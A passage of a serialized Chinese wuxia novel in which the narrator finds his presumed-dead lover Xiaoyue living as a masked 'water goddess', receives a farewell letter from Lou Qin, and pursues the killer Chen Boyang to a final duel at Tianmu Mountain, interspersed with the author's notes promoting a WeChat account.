老者说:“你不怕,小老儿还想多活几年。不瞒你说,这一带撑船的都是沿岸往上下游走的,没有一户船家肯渡你过河的,你还是死了这条心吧。” 我不禁觉得吃惊。当年我与小月、李小谦泛舟鄱阳之时,天地广阔,湖水幽幽,两岸的人虽然不多,但都是安然忙碌,皆是一片太平景象,怎么过了几年竟然成了这老者口中所说的“水匪猖獗,盗贼横行,以致无人敢渡呢”? 我询问缘由。老者放下鱼竿,叹了一口气,说:“你说得是五六年前的事了。当年管天下作乱,朝廷出兵征讨,曾在鄱阳湖对岸经历过一场大战。当时管天下的军队死伤惨重,逃 亡福州城。有很多没有来得及逃走的散兵就此留了下来。朝廷平叛之后,大军撤往江浙一带,这些散兵游勇就地扎根,成立了七八个帮派。 后来,听说朝廷下令,复建武学,任由这些帮派做大。他们既不耕田,也不种地,但都长了一张嘴,也要吃饭。明地里是名门正派,背地里就是一群水匪强盗,他们贿赂当地官员,与朝廷勾结,近些年来越发猖狂,杀人越货无恶不作。这太平鄱阳湖,从此就不太平喽。” 说着,老者又是一阵长吁短叹。 看着波光鳞动的湖面,我倍感迷惑。我想到了白景行,当年他身为武林盟主,即便是承受着各方的不解与不满,他依旧坚持维护着江湖的存在,甚至还为此付出了性命。 他所一直维系的江湖,真的值得他如此吗? 老者收起鱼篓跨在腰间,喃喃念道:“真是不懂这些江湖人,整日舞枪弄棒、杀来杀去有什么好的,武功再高也得吃饭啊。” 武功再高也得吃饭。 看似粗浅的一句,却蕴含了极为深刻的道理。 江湖......那些飘零在其中人,如果能明白这个道理,不知要少去多少灾祸。 “别愣着了。跟我回去吧。”老者向我招了招手,说,“天很快就黑了,这边虽然比对岸太平一些,但夜间多变,说不定就有贼人摸过岸来,这不是就留之地。” 我说:“可我必须要过河。” 老者忽然急了,他瞪着眼睛呵斥道:“我费了这么多口舌,你怎么不听劝告呢。年纪轻轻怎么这般不知道珍惜性命。快随我离开。”老者上前拉住我的手,用力地拉扯着。 我刚想甩开他,却看见老者脸上那种真诚的关切,忽然心里一暖,想到自己已经很久没有享受过平凡的生活了,忍不住随着老者离开了湖岸。 3. 我随着老者走进村子时,天色刚刚暗下去。 村子不大,看上去也不过二三十户人家。这时正是烧火做饭的时候,各家屋顶上炊烟袅袅,随着晚风一致飘向一个方向,在天边还未消失的金色夕辉映衬下,这个村子更显得平静而安详。 老者带着我走进一间简陋的小院,四周院墙用黄泥坯起,半人多高,从墙外便可将院内的景象一览无余。 老者将鱼篓放在院中,一个十三四岁的少年端着木盆从茅屋里走出来。 “爷爷,今天钓了几条鱼?”少年笑着,看到我忽然神情一滞,慌张得向后退了几步,一副紧张害怕的模样。 老者将鱼篓递给那少年,说:“去吧,阿七。把鱼炖了。” 叫阿七的少年快速结果鱼篓,扭头跑开了。 “不要见怪。”老者摇头叹道,“自三年前,这孩子父母在湖上被水匪害了以后,他便害怕见到生人。” 看着那少年的背影,我想起了余十三。他们都是相仿的年纪,余十三经历他原本不应该经历的痛苦,而这少年虽然性格不如余十三那般坚韧,但他却过着在我看了最幸福的生活。 老者带着我进了屋子。寻常人家的布置自然十分朴素,除了桌椅板凳这 样的寻常家具之外,屋子正中还摆着一樽十分精致的神龛。老者进屋之后,先点燃了三柱香,在神龛前虔诚地念叨了一番,将香插入香炉。 那神龛做得实在是太过精致了,在这间朴素到有些简陋的屋子里显得十分突兀。我仔细看了看,那神龛中供奉的既不是祖宗牌位,也不是什么神佛,而是一个身姿婀娜的蒙面女子。 我问:“这女子是何人?” 老者慌忙捂住我的嘴,说:“快别乱说。这是保佑我们平安的水神娘娘,法力无边,你莫要胡言乱语,冲撞了神明。” 水神娘娘? 这大概是当地的土神仙吧。类似的神仙我在雁荡山时就曾经见到过,那时候马维进出山抢劫,抓回了一个女子,做了他地二十八个小妾。 那女子就在自己的屋子里摆了一樽木像,雕得是一个身材佝偻的老者,她每日为木像磕头敬香,有时候受了委屈还会跪在木像前哭诉。 我就曾以为她供奉的是她已经死去的爹。 没想到,她听了我的话非常生气,说:“这是我家乡的山神老爷。” 我说:“你们家的山神为什么要供到雁荡山来。你有没有征求过雁荡山神仙的意见?” 那女子愣住了,随后便哭了起来:“我道山神老爷怎么不来救我,原来是雁荡山的山神给拦住了!” 我从不信鬼神之说。所以我见那女子的样子,觉得十分可笑。如果这世间真的有神仙保佑,那很多无辜的人便不会无辜地死去。 “你不相信?”老者打断了我的回忆。 我说:“我从不信鬼神。” 老者拉着我坐下,说:“我跟你讲,这水神娘娘可是真的。我们很多人都见过。一个多月以前,我们村子里来了一群水匪,他们不由分说进门就抢。他们身强体壮,手上都拿着刀剑,大家都不敢反抗,就是隔壁家的憨头不知死活地与水匪争执了起来。 水匪中有一个彪壮的汉子,长得五大三粗,身高七尺,看着就吓人,他挥起到就向憨头的脑袋砍了下去。哎呦,就在大伙儿以为憨头活不成的时候,忽然间刮起一道风,四周飘满了香味儿,一道白影闪过去。那壮汉轰的一下就倒在了地上,其他水匪正纳闷的时候,那倒在地上的壮汉脖子上突然冒出血来,连挣扎都没有就断了气儿。” 一剑封喉! 这是陆家的剑法! 我一把抓住那老者的胳膊,急忙问道:“你看清楚了,那人是谁?” 老者被我吓了一跳,把我手推开,说:“还用问,当然是水神娘娘了。她杀了那壮汉之后,忽地飞到憨头家的房檐上,当时我们都看清楚了。白衣飘飘,在天上飞来飞去,还蒙着面纱,分明就是神仙!” 我回头凝视着神龛中水神娘娘的雕像,她的身姿,她的轮廓,还有老者口中描述的剑法...... 难道......真的是小月! 各位读者,感谢一路支持。江湖即将完本,近日苇孜将在公众号上为本书填坑。同时也会开展新书的探讨,敬请关注微信 第二百二十六章 再见 ()1. 一夜无眠。 一整个晚上,我辗转反侧,耳边始终萦绕着那老者的话。他口中所说的水神娘娘像极了小月。 我也曾想过,是不是陆石还有别的弟子。 但我很快便否决了。 距离我上次到陆家山庄还不过一年的时间,当时陆家山庄里并没有别的女弟子。陆家剑法精妙高深,即便是在我走后陆石突然收了一个女弟子,也绝对没有可能在短短一年的时间内将练成一剑封喉的招式。 而且,听那老者所说,那“水神娘娘”一晃而过,能在瞬息间使出一剑封喉还能跃上屋檐,轻功之高,放眼江湖也不过了了几人。 除了小月,我真的想不到还会有谁。 那一夜,几番思索,我推翻了所有的假设,在天亮之时,我无比地确定,小月真的还活着。神龛中供奉的水神娘娘就是小月! 当我最终确信这个答案的时候,我感到无比的欣喜。但很快却又陷入了深深地迷茫——小月还活着,她为什么不来见我? 这一切终究要有一个答案。 而这个答案,或许只有在亲眼见到小月的时候才能知道。 2. 天一亮,我便告别了老者。 临走时,我给了他一锭金子。老者很惶恐,他说他一辈子也没有见过这么多钱。 我说:“我用这锭金子买你船。” 老者还是不肯,他说:“我的破船怎能值得了一锭金子。” 我坚持着将金子塞给了那老者,我说:“能遇到你,是多少金子都买不了的。” 老者问:“你还是要渡河?” 我说:“是。我必须要去。” 从我确信小月还活着开始,便有一种感觉牵引着我——或许在小月的心里,这片湖水里也寄托着我们之间美好的回忆。 既然是美好的回忆,她又怎么会容忍这片湖水被残忍的水匪玷污? 如果小月还在附近,我想她一定会在对岸。或许这个时候,她正持着手里的宝剑,穿梭在贼窝匪穴之中,以精妙的剑法维护着这片湖水的宁静。 告别老者。我独自划着小船飘向对岸。 那个时候,我的心里充满了期待...... 2. 船靠岸的时候,我感觉这边的岸边明显要清冷许多。极目远眺,水岸边茫茫然然的一片,也不见人影。 我继续沿着官道行进。一路上但凡遇到有人,便向他们打探“水神娘娘”的消息。 可是,这边的人都说没有听说水神娘娘,也没有见过一个白衣蒙面的女子。 难道是我猜错了?小月并没有到过这边? 清冷的官道,人烟稀少,路边却唐突地多了一间茶铺。虽然我觉得,这并不合情理,但走了整整一个上午,又饿又渴。 反正那些盗匪也不能把我怎样,索性我便到茶铺里讨些吃的。 “客官请坐!” 刚到茶铺,便有一个精瘦如猴的男子迎了上来。他引着我坐下,抹着桌面,问:“客官是外地来的吧?” 我点了点头,问:“你们这里可有吃的东西。” 瘦猴连连点头,说:“客官想吃什么?别看小店只是间简陋的茶铺,但当家的厨艺好得很,山珍海味不敢说,做得几样小菜包您满意。” 我说:“随便 来些吧。” “客官稍坐,饭菜马上就来。”瘦猴笑着钻进铺子。不一会儿便端了几样荤菜上来,摆在我面前,说:“客官慢用。” 我拿起筷子,抄起一块肉刚想往嘴里送,忽然瞥见那瘦猴就在不远处偷偷看我。我看了他一眼,他离开将目光挪向别处,装作若无其事的模样。 我更觉得诡异,另一只手悄悄按住了血芒。 筷子刚到嘴边,忽然感觉茶铺外,官道的另一侧“嗖”的一声冷哨响,竟有一道暗器飞来。我轻轻一躲,暗器从我脸前飞过,打在茶铺前的幡杆儿上,“咔”的一声,幡杆儿折成两段。 我还未来得及查看暗器,却听见茶铺里“哐啷”一声,接着一阵喧闹,明晃晃地冲出几道人影,手上拿着刀剑。 他们冲出茶铺,看了我一眼,竟然都愣住了。 一人冲着瘦猴大声骂道:“老三!他娘的,人还没倒你发什么暗号!” 瘦猴满脸委屈,说:“老大,不,不是我发的暗号。是有人把我们家的招牌给砸了。” 那人看了一眼断成两截的幡杆儿,立时大怒,骂道:“他奶奶的,是谁不知死活,敢动老子家的幡杆儿!” 这时,另一个汉子晃着身子走到我跟前,将明晃晃的刀往桌面上一拍,吼道:“小子,有钱走人,没钱留命,你是有钱还是没钱?” 我说:“有钱。” 那汉子满脸兴奋。 我又说:“但我不想给你。” 一群汉子暴跳如雷,将我团团围住。七八柄刀剑摆在我的面前,反射着阳光几乎让我睁不开眼睛。 “不知死活的东西。”被称作老大的汉子威胁道,“看到老子手里的刀了吗?就是你把银子藏在裤裆里,老子也能一点一点地给你刮出来!” “咕咕......” 我肚子不合时宜的叫了几声。我没有理他,继续将夹在筷子上的肉往嘴里送。 这时,官道另一侧又是一声哨响,一道暗器竟然是冲着我的手打来。我微微一动,又将暗器躲过。随后听到站在不远处的瘦猴“啊”的一声惨叫,倒栽在地上。 瘦猴再坐起来的时候,满嘴是血,“噗”的一声,吐出一颗沾满血的石子还有两颗带血的门牙。瘦猴将石子狠狠地扔在地上,踩了两脚,朝天骂道:“谁,谁他娘的偷袭老子,给老子滚出来。” 四周寂静无声。瘦猴怒不可遏,破口大骂:“让老子抓住你,老子刨了你家祖坟!” 话音刚落,又是“嗖”的一声响。 一颗石子从官道一侧的一小片树丛中打出,直飞向瘦猴的脑门,竟将瘦猴打翻了几个跟头。 这是个高手! 我抓起血芒剑,跃出茶铺,一晃冲进树丛。 刚进树丛,我便闻到一股浓郁的栀子香气,登时心里一颤,失声叫道:“小月!” 还未来得及再喊,忽然树丛中白影一晃而过。我心中大喜,紧追过去。那道白影脚下轻盈,快如飞燕。 幸好我的轻功是小月亲自传授,跟着她身后也并不觉得吃力,只是一时半会儿难以超越。 就这样一前一后跑了十几里,到了一处空旷的地带,我终于完看清了那白影的身形。她是一个女子,是一个和小月的轮廓几乎一摸一样的女子。 她脚下的轻功步法是陆家独门的轻功。 她就是小月无疑。 “小月!我知道是你!”我一面追,一面大喊,“你为什么不肯见我?!我知道是你!” 那白影终于停下了脚步。 她转过身,洁白的面纱遮住了她大半的脸。那一双如水一样温柔的眼睛里,晶莹闪烁。一滴泪滑落,她慌忙拂去,却紧接着又有一串泪珠夺框而出。 “小月。你为什么要躲着我?” 小月没有回答,她的手伸向面纱,却又好像犹豫了。挣扎了片刻,她还是轻轻地拽去脸上的白面纱。 那已经不再是我熟悉的脸。 原本应是白皙如雪,滑落凝脂的脸上,竟然如同深秋的树皮一般干枯、暗黄,脸上还布满了一块块骇人的青斑。 “你的脸!”我惊讶地叫了出来。 小月说:“你都看到了。我已经不是从前的我了。” “为什么?!”我心如刀割。 小月慌忙戴上面纱,侧过身子。她说:“我从括苍山上掉下去之后,掉在崖壁上一块突出的岩石上。我醒过来的时候,脚下是深不见底的青崖谷,唯一的活路就是崖壁上的一个山洞。那日我拼尽力爬进了山洞,而那个山洞却何尝不是另一条死路。” 她一直都还活着,我找遍了青崖谷,都没有发现小月的踪影。所以我便轻易放弃了,可是我为什么没有想到顺着悬崖向上找? 这一刻,我充满了自责。 小月说:“我在那个山洞里待了整整四个月。山洞里阴暗潮湿,没有食物,只有一大片一大片黑压压的蝙蝠,它们每天夜晚从山洞里飞出去,密密麻麻地都可以把月亮遮住。起初我很害怕,不敢深入山洞,但后来我发现,那些蝙蝠并不伤我,它们只吃青崖谷中的一些野果,而且还会把那些野果带回山洞里贮藏起来。我忍不住饥饿,只有去偷那些蝙蝠藏起来的野果。但是......不知道是那些蝙蝠有毒,还是那些野果本身就是毒果,我吃了那些野果之后,很快身便开始浮肿、长斑。那是像地狱一般的四个月。我苦苦地熬着,因为我一直牵挂着我们的女儿,我告诉自己,就算再痛苦也要活下去。” 我的心拧成了一团,我问她:“那你是怎么出来的?” 小月说:“四个月后,我听到山洞外有打斗的声音。本来以为是幻觉,这世上有谁能在悬崖绝壁打架?但那声音却越来越清晰,我慌忙跑到洞口,却看见一男一女正飞跃在崖壁上比武。我向他们求救,他们便把我救了出去,并为我解了身上的毒。虽然保住了性命,但那些毒在我身上留下的痕迹却再也抹不下去了。” 小月。我的小月。 我再忍受不住内心的煎熬,不管她变成什么样子,我都不会在意。我冲上去,想要抱住她。可小月却忽然向后退了几步。 “别过来!”小月大声喊道。 我问:“为什么?” 小月说:“没有为什么。” 四周空空旷旷,没有一草一木,就像一片凄凉的荒漠。风吹来,卷起沙尘,我感觉眼前的世界一片模糊。 我问小月:“你一直都在我身边对不对?那几次出手救我的,都是你对不对?” 忽然小月的身子猛地抽了一下,她手一挥,一把冰冷的剑抵在我的咽喉。 “我不应该救你。我应该一剑杀了你!” (各位读者,番外之万诗楼一已经发在微信公众号上,微信公众号:苇孜,欢迎关注。) 第二百二十七章 留书 ()1. 小月的剑就停在我的喉咙上。 看着她的眼睛,我感到一股幽怨的恨意。 是的,她应该恨我,是我害了她,是我在她最艰难的时候放弃了她。 我缓缓闭上眼睛,说:“你杀了我吧。我无怨无悔。” “当!” 一声锐响。我睁开眼睛,小月将剑收入了剑鞘。她说:“是。我本来恨不得杀了你。女儿下落不明,生死未卜,你竟然只想着江湖上那些破事,练什么邪门武功,将女儿的生死抛到了九霄云外!” 我想说我没有。可是话到了嘴边,却怎么也说不出来。 小月说得不错。 这段时间我的确做错了太多太多事情。 我一直告诉自己,纾瑶的安危比一切都重要。可是真的做起来,却总会有一些事把我吸引过去,让我觉得那些事或许更加紧急。 我说:“对不起,是我害了纾瑶。我一定会把她找回来。” 小月转过身去。她说:“不用了。我已经把纾瑶安置在一个很安的地方。这段时间纾瑶一直被陈伯洋关在括苍山,他虽然疯了,但他应该是真心疼爱纾瑶的,一直对她很好。” 我忽然感觉一颗背负了许久的巨石落在了地上。那一刻,我抬起头,贪婪地吮吸着空气,仿佛是在水下憋了很久很久,终于浮上来水面一样。 “平安就好。平安就好。”我说,“从月牙山庄出来以后,这段时间我一直都在找她,我真怕自己耽误了,她会......” 小月问:“你那个小徒弟没有告诉你吗?” “你怎么会认得余十三?”我很惊讶。 小月说:“我见他一直都在偷偷地跟着你,以为他图谋不轨,便把他抓去审问了一番。他说他是你的徒弟,能使出你的剑法,还有青茫剑在手,所以我便相信了。我叫他把纾瑶的事告诉你,他没有说吗?” 我心中又是一阵伤感。我说:“他说了。但没有说完,他就已经死了。” “他死了?!”小月转过身来,惊讶地看着我。 我说:“他死了。被易小心杀死的。” “又是他!”小月的拳头紧紧地攥了起来,这三个字仿佛是从牙齿间挤出的一样。 我当时并没有过多在意小月的神情。我说:“我想见纾瑶,你带我去吧。” 小月摇了摇头,说:“不行。” “为什么?”我不可抑制地急躁起来。 小月说:“因为陈伯洋也在找纾瑶。” 想到陈伯洋,我心里不禁一颤,忙问:“他找纾瑶做什么?” 小月叹了口气,说:“我猜想,应该是纾瑶这孩子太讨人喜爱了。陈伯洋与她待得久了,渐渐有了感情。自从青帝把纾瑶从括苍山带走之后,陈伯洋便像发了疯一样地找她。” “原来是这样......” 突然,我猛地一惊,叫道:“你说是谁救走了纾瑶?青帝!” “不错。”小月说,“你应该和他见过面了。青帝莫遣两位江湖前辈,除了他们,放眼这个江湖还有谁能有从陈伯洋的手中救出纾瑶的本事 。” 竟然是他们两人。 我问:“那么也是你叫他们两人到临安府去见我的?” 小月不屑地笑了一声,说:“你这个傻子。他们两个都是世外高人,性格都怪异的很,又岂是我让他们见你,他们就能去见你的?是他们知道了摩诃钵特摩咒的秘籍在你手上,所以才要去见你的。” 这一声“傻子”让我感觉是那么亲切。 我笑着,看着小月。小月却好像是说错了话一样,眉头一皱,冷冰冰地说:“我走了,你好自为之!” 我慌忙上前抓住小月的手,这一次,我再也不能放她走。我说:“你去哪里?我要和你一起走。” 小月甩开我的手,说:“傻子,如果你真的为我好,就放我走吧。我知道你不在乎,可是我始终迈不过自己心里的这道坎。如果有一天,我放下了,我回去找你。” “不行!”我紧紧地攥着小月的手,说,“我怕我等不到那一天。我现在就要你放下。” 小月回过头来,眼中噙着泪水,说:“你是想逼我死吗?” 我愣住了。 我看着小月,她的眼神中没有丝毫的伪装。曾经,她行走江湖为了免去别人的骚扰故意扮丑,可是当她真的失去了美丽,她竟然如此的介意。 小月将我的手推开,转身走了。 我怔怔地看着一道白色的影子消失在天地相接的尽头。 追。或者不追。 我始终犹豫不定。 2. 犹豫是人最大的敌人。 因为,当一个人犹豫不决而错失机会的时候,再作出任何决定都为时已晚。 后来,我一直在回忆当时的场景。或许那一次,我真的不该放小月离开。我应该紧紧地抓住她,死死地守住她。 她说她迈不过自己心里的坎儿。但那时候我应该做的,不是等她迈过去,而是陪她迈过去。 但人生就是这样,很多道理当自己明白的时候,都已经晚了。就像青帝和莫遣所说的那样,有些错误不去亲身经历过,是永远都无法体会到的。 绍兴二十一年五月。江湖上发生了很大的变化。 龙虎帮白冰冰力压他的两位师叔李春雷和温道鹏,坐稳了龙虎帮帮主的宝座。有传言,他坐上帮主之位后,为收买人心,解决龙虎帮吃穿用度,投靠了秦桧,换来了不计其数的金银财宝。 慕容顺失去了一只手,从此意志消沉,整日借酒浇愁,每每酒醉便会发疯一样的打骂庄上的弟子,甚至传言他已经打死了十几名弟子。月牙山庄上下人心惶惶,怨声载道。慕容顺的堂兄慕容靖本来早已脱离月牙山庄自立门派,但听闻此事,带人回到月牙山庄,竟将慕容顺软禁,他自己暂行庄主之职,掌管上下事务,并向江湖发布追杀令。而要追杀的人,正是砍断了慕容顺一只手的我。 易小心重返青云。据说,他在青云派祖师祠堂中立誓,要与邪门歪道不共戴天。他跪在白景行的灵位前,当着众多弟子的面说:“姬旦丙辜负了师尊的信任,做了朝廷的走狗,引诱陈伯洋修炼邪功,为祸江湖。”他把一个巨大的屎盆子甩到了我的头上,并以青云派的名 义传信于江湖各大门派,号召各大门派团结一致,除魔卫道。 另有传言,南华派受秦党逼迫,无奈之下选择投靠秦桧。但司徒清尘老奸巨猾,害怕自己晚节不保,令二弟子楚玥暂领门派之事,自己闭关写书,不问江湖之事。 小月离开之后,我又是孑然一身。这次真的是漫无目的的在江湖上行走,每日都要喝酒,喝到烂醉,然后趴在马背上,随着马的意愿,它将我驮哪里,我便在哪里再醉一场。 也许是马儿通灵,一个月的时间里,我醉了又醒,它走走停停。有一天,我还在醉意中未醒,它竟将我摔在了地上。 我起身正要踢它,却看见一道高耸的城墙。眼前是威严的城门,上面写着“临安”两字。 我一阵好气,捋着马的鬃毛,说:“你可知道这江湖上有多少人想要我的性命。你竟然敢把我带到临安。” 既来之则安之。 我虽然不能死。但他们想要我的性命,却也没有那么容易。 武功高强了就是可以这么嚣张。即便是你知道一大群人想要杀你而后快,你仍然可以视若无睹地找个地方,一场大醉。 武功再强也要吃饭。 挡得住天下的刀剑,却挡不住自己咕咕直叫的肚子。 于是,我去了娄琴客栈。 只是这一次我到客栈的时候,并没有看见娄琴。 店里的伙计也都换了生面孔。站在柜台前的是一个眉目清秀的中年人,一副书生气息,言谈举止像极了陆游。 “客官可是姓姬?”中年人绕过柜台拱手相问。 我说:“正是。娄琴呢?” 中年人说:“娄老板已经离开多日了,她将这家客栈送给了在下,叫我在这里等一个姓‘姬’的人,然后才可以更换牌匾。” 娄琴走了? 我忙问:“她去了哪里?” 中年人摇头说道:“她并未向我提起。临走时,她留下一封书信,让我亲手交给你。她让我转告你,她与你姬家父子两代缘分,无论天涯海角,见与不见,都不会隔断。”说完,他从怀里掏出一封书信交给我,转身吩咐伙计准备酒菜。 我攥着娄琴留下的书信走向角落的桌子,路过南侧的墙面时,一道深深的沟痕映入眼帘。那是当年娄琴帮我解围时留下的。 无论岁月怎么变迁,它都被印在那里。就像过去已经发生的事情,永远都不会抹去。 展开书信,纸面上还留着一丝淡淡的墨香。看来娄琴离开并不久,只是我稍稍的晚了一步。 “旦丙慧鉴。昔年剑狂前辈留你在普通人家,而孤身离去,便是愿你远离是非,一生平淡。无奈造化弄人,兜兜转转,你竟又涉身江湖,而后卷入风雨。此天命使然,我虽忧心却难违背。然相处多年,我深觉你心性善良,如剑狂前辈无异。只惜他过于执着,悔觉晚矣。 人说,血芒乃邪剑。然我深信,剑无正邪,人有善恶,遂将青光血芒两剑复还于你,愿你能好生利用,不作剑狂。江湖似海深,波谲云诡,人心难测,想来皆是烦恼。若能置身事外,何必涉足其中? 谨此奉闻。” 第二百二十八章 黑影 ()1. 如果我能听得懂马说话,我一定会好好审问一下那匹将我驮到临安城的牲口。有段时间,我甚至怀疑它是易小心刻意安排在我身边的卧底。 可是,马的嘴里掏不出人话。能掏出来的,只有些已经咀嚼了一半的草料。 娄琴留下一封书信便走了。 在我接到那封书信之后,娄琴客栈的招牌被摘下来,换上了新的招牌——百诗楼。 我问,这名字有何含义? 中年人说,他叫解卓,他父亲曾继承祖业,在洛阳城经营了一家万诗楼。后来,万诗楼没了。他想重建祖上的荣耀,所以把取名叫百诗楼,等客栈经营得更好了,他就把百诗楼再换成万诗楼。 牌匾安好之后。解卓对我说:“你是百诗楼的第一个客人。” 我说:“很好。你们这里有没有好酒?” 解卓笑道:“一壶桃花醉,百酿皆似水。” 桃花醉...... 这是一个好名字。 我临窗而坐,将血芒放在桌上。 桃花百酿人不醉,站憔悴,卧流泪。我想,我这一辈子混到这个模样,还能饮一壶美酒,体味痛苦的滋味,倒也是无怨无悔了。 2. 桃花醉。 名字虽美,酒性却很烈。喝了几壶便已经醉得不醒人世了。 直到深夜,我从迷离中醒来。大概是没有吃什么东西的缘故,腹中犹如火灼一般,异常难受。 我倒了一碗凉水,大口喝下,稍稍缓些,走到窗前,迎着晚风看天上的冷月。 娄琴去了哪里,我已经不太在乎了。 每个人都有自己要选择的路。从前,她说她留在临安,想着自己和赵构在一座城里,既安慰又觉得痛苦。她既然走了,我想她大概是不需要那种安慰了,也不愿再承受痛苦了。 我极目远眺。 远方,清冷的月辉下,一道黑影绰绰,在远处的屋檐上晃动,从一个屋檐眨眼间晃到另外一个屋檐,又眨眼间跳了回去。 我以为自己是酒醉未醒,产生了幻觉。这大半夜的,谁会这么无聊,在临安城的房顶上跳来跳去。 但很快,我发现,还真的有人无聊至极。 那并不是我的幻觉,而是的的确确有一个人在别人家的屋顶上跳来跳去,不知在做些什么。但有一点可以确定,这个人武功极高。 我跃出窗外,奔向那道黑影。 还未到跟前,那黑影忽然发出“嘿嘿”几声怪笑,而后消失得无影无踪。 那黑影的消失,让我感到的不仅是惊讶,而且还有从心底里惊出的恐惧。这实在是一件让太恐怖的事,因为以我今时今日的武功,这世间已应该没有人能在我毫无反应的时候消失不见。 可这个人的确存在。他刚刚从我的眼前消失,消失得无影无踪,而我却连他的样子,甚至是身形都没有看清楚。 这个人会是谁? 夜风变得越来越冷,仿佛周围的一切都凝固了。这种寒冷并不是由我心里发出,而是我真真切切地觉得冷。 这世间只有一种武功可以给人带来如此强烈的寒 意。 这种武功,这世间也只有两个人练过。一个是我,而另一个就是陈伯洋。 我站在屋顶上,使劲地找着,我希望在哪个角落里能够看到一个模糊的影子,甚至是一丝半点可以寻觅的踪迹。 但是......没有。 3. 我知道陈伯洋就在临安城中。 他一定藏身于某处,此刻正在做着什么令人意想不到的事情。或许下一刻,他便会疯狂地制造很多杀戮。 我必须要找到他。一刻都不能耽搁。 我连夜想武林盟奔去。只有到那里去找廊道会的兄弟,让他们设法在临安城中帮我寻找陈伯洋留下的蛛丝马迹。 这个机会尤为珍贵。如果不能够把握,陈伯洋一旦离开临安,他便会再次没入茫茫的江湖,让人寻觅不见踪迹。到那时候,大海捞针,找他不见,这世间不知道又会死伤多少无辜的性命。 雷峰塔上,每一层都发出悠悠的黄光。 即使是在深夜里,那座塔上依旧灯火通明。彻夜常明的烛光,从我踏足临安时,便从来没有见它熄灭过。 它的光虽然不比阳光一样耀眼,也不如月光一样明亮,但它却是这深夜临安城里,唯一可以为我指明方向的长灯。 迎着雷峰塔的亮光,我一路奔向它对面的小山。踏上山时,我便已经感觉到气氛中散发出的诡异。 脚下的山石透着可以刺破鞋底的寒气。两旁的树木都已干枯,发黑,死亡...... 我意识到,陈伯洋已经来过了。我有一种不好的预感,十分强烈,不觉加快了脚步。 武林盟的大门紧闭。 我一只手伸过去,触到门板的瞬间,感觉就像是摸到了一块寒冰一样。我急忙把手抽回来,抬起一脚将门踹开。 清冷的月光下,武林盟的院子里,遍地死尸,一眼看去已不止七八十具。那些尸体有的趴着,有的仰着,横七竖八。无论远近,从那些仰着的尸体的脸上看不到任何的恐惧、惊讶或者其它什么怪异的表情,甚至他们其中还有人保持着欢快的笑容...... 这实在是太过惊悚了。因为一切不合常理的现象只能说明,凶手是在一瞬间杀死了所有的人。那速度快得让人来不及做出任何反应。 即便是阴差索命也不会有这样的速度。 只能说这个凶手比地狱里索命的阴差更加恐怖。 “陈伯洋!”我愤怒地吼着,“我知道你在这里,你给我滚出来。” 声音武林盟的院子里回荡着,由近及远再由远及近...... 我拔出血芒,从东侧厢房的第一间屋子开始找起,一间又一间,一个角落又是一个角落......直到我寻遍了武林盟里所以的地方,却仍然不见任何人的踪影。 站在遍地的死尸之中,凝视着那一张有一张陌生的面孔。他们应该都是廊道会里的兄弟,曾经他们是天底下最穷苦的人,白景行将这些人交给了我,我曾许诺要让他们过上好日子。但我却一再地利用了他们,让他们无端地卷入了本不应该属于他们的风波。 如今他们死了,被陈伯洋杀死了。他们的每一条命从此都刻上了我的名字,无论 是天地之间还是阴曹地府,都有我洗不去的负罪。 4. 我在武林盟的院子里坐了整整一夜。 天色拂晓,温暖的阳光渐渐洒进了武林盟的院子。阳光的确很暖,它很快驱走了院子里阴寒,却怎么也赶不走我心里的寒冷。 我豁然起身,披着朝霞的光彩,却背负着满身的罪恶,向着武林盟外走去。私仇公恨交叠,陈伯洋的命,必须由我亲自终结。 “哎呦!” 才迈了两步,忽然听见脚下一声惨叫,着实把我吓了一跳。 我一惊,跃出一丈,拔剑戒备。却见方才惨叫的那“尸体”正趴在地上瑟瑟地发抖。我又惊又喜,慌忙收剑过去,将那“尸体”翻过来。 “明少忠!” “帮主!”明少忠听到我在叫他,忽地睁开眼睛,翻身跪在地上,再抬起头时已是泪流不止。 我心中稍稍宽慰了许多。这个时候,有人能死里逃生,的确是天大的惊喜。我问:“这里到底发生了什么?” 明少忠哭道:“帮主。昨日黄昏,我们城中的兄弟传信说,见你在临安城中出现。我想,你既然回到临安,定然回到武林盟来,因此聚集了临安城里的百十名兄弟,在武林盟等您。昨夜至子时,我们迟迟没有等到你的消息,便向就此在武林盟暂息,没想到忽然有一阵冷风吹进院子,我只觉得眼前有红光一闪,所有的兄弟接连倒在了地上。幸亏我反应及时,也佯装着趴在了地上,然后就听见一阵怪异的笑声,我,我就再也没敢起来。” 他的话无疑印证了我所有的猜测。 我说:“你可知道那人往哪里去了?” 明少忠摇头,却忽然又点头,刚点了两下却又开始摇头,一副拿捏不定的样子。 我急道:“你到底知不知道?!” 明少忠含含糊糊地说:“我,我听得不太真切,好像听他说什么天目山,他师弟怎么样的,我当时太害怕了,一眨眼死了这么多人,吓得魂儿都要掉了。” 天目山?! 陈伯洋的师弟就是在天目山被我逼死的。我猜想,他这次到武林盟大开杀戒,一定是为他师弟报仇的。 这时,他或许已经回了天目山。无论是也不是,这都是唯一的线索了....... 我转身要走,忽然听见明少忠在身后喊道:“帮主要去哪里?不要丢下我!” 我说:“我要去了却这件事情。你不能跟着我。” 明少忠说:“不,我一定要跟随帮主左右。” 我说:“陈伯洋很危险。你跟着我一点用都没有。” 明少忠拦住我身前,说道:“帮主看地上的这些兄弟,他们很多都与我同甘共苦,患难多年。他们都死了,我唯一的心愿便是为他们报仇雪恨。虽然我武功不行,但我有一颗心和一双眼睛,我会代替这些兄弟去见证帮主为他们报仇的那一刻。” 我为他的忠义而感动不已。 我拍了拍他的肩膀,说:“到时候,你要躲得远一些。” 明少忠激动道:“帮主答应了?” 我点了点头,绕过明少忠,走出武林盟,向着天目山,向着这一切的终点。 第二百二十九章 决战 ()1. 天目山。 五年前,这里曾经是五大门派与朝廷角逐的战场。那一次,经历了管天下之乱的朝廷被迫忍让,各大门派大获胜,获得了五年不受管制的喘息。 而五年后的天目山,却成了整个江湖的坟场。 出武林盟之后,我一路赶往天目山。 绍兴二十一年六月朔旦。这场早就应该结束的战斗,在一年之后才迟迟到来。 天目山西麓,那里是陈伯洋师弟程文轩的墓地。 陈伯洋就站在程文轩的墓前。他手上攥着金丝海皮刀,背影沧桑,身形枯槁,他已经被摩诃钵特摩咒折磨得完没有了人的样子。 “你终于来了。” 陈伯洋转过身子。他皮肤像白纸一样的白,没有血色,脖颈上几处皮肤已经皴裂,隐隐约约凝着血痂,看起来十分恐怖。 “从你到临安开始,我便在这里等你。没想到你迟迟不到,非要等我搞出些动静你才肯跟来。嘿嘿......”陈伯洋怪异地笑着,就像是一个老疯子一样。 